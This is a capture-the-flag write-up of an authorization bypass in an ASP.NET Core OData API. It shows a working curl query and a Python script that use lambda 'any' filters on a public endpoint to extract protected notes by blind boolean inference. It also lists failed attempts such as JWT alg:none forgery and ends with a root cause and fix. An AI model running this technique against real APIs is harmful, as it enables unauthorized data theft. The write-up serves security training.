Challenge Overview
Target: ASP.NET Core REST API with Microsoft OData
Flag: dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5_97caaa559b75}
Reconnaissance
Swagger spec at /swagger/v1/swagger.json revealed:
POST /auth/registerandPOST /auth/login— JWT authGET /odata/Dinosaur— publicGET /odata/Scientist— publicGET/POST /odata/Note— JWT-protected
OData metadata showed:
Scientist → NavigationProperty "Notes" → Collection(Note)
Note → NavigationProperty "Scientist" (with ScientistId FK)
Initial Access
Registered an account. JWT showed user was assigned Scientist ID 4. Pre-seeded scientists: Alan Grant (1), Ellie Sattler (2), Robert Muldoon (3).
Failed Approaches
/odata/Note— returned empty array (filtered by JWT user ID)- IDOR by Note ID (1–50) — all 404
- JWT forgery —
alg:nonerejected; secret not in rockyou $expand=Noteson Scientist — blocked by OData validator- Navigation path
/odata/Scientist(1)/Notes— still auth-filtered
The Vulnerability: OData Lambda Filter IDOR
The key insight: use OData’s lambda operator (any) on the public Scientist endpoint to query across the Notes navigation property — completely bypassing the Note controller’s authorization filter:
curl "$TARGET/odata/Scientist?\$filter=Notes/any(n:contains(n/Content,'dach'))"
# → Returns: Ellie Sattler (Id: 2)
The Scientist endpoint is public and its $filter is unsanitized. The Notes/any(...) lambda traverses the navigation property into the Note table without going through the Note controller — bypassing JWT ownership checks entirely.
Flag Extraction: Blind Boolean Injection
With the oracle confirmed, extracted character by character using startswith:
import requests, string
BASE = "https://6f0abad6-...challs.qualifier.swiss-hacking-challenge.ch:1337"
CHARS = string.ascii_lowercase + string.digits + "_-{}!" + string.ascii_uppercase
flag = "dach2026{"
while True:
found = False
for c in CHARS:
test = flag + c
params = {"$filter": f"Notes/any(n:startswith(n/Content,'{test}'))"}
r = requests.get(f"{BASE}/odata/Scientist", params=params, verify=False)
if "Ellie" in r.text:
flag += c
print(f"[+] {flag}", flush=True)
found = True
if c == '}':
print(f"\n[!!!] FLAG: {flag}")
exit()
break
if not found:
break
Flag extracted in ~50 requests.
Flag: dach2026{n0_r3st_f0r_th3_m1cr0s0ft_d3v5_97caaa559b75}
Root Cause
The developers correctly protected /odata/Note with JWT ownership filtering but forgot that OData lambda expressions on related public entities can traverse into protected data without going through the protected controller.
Fix: Disable Notes navigation on the public Scientist $filter, or apply row-level security at the EF Core query level rather than the controller level.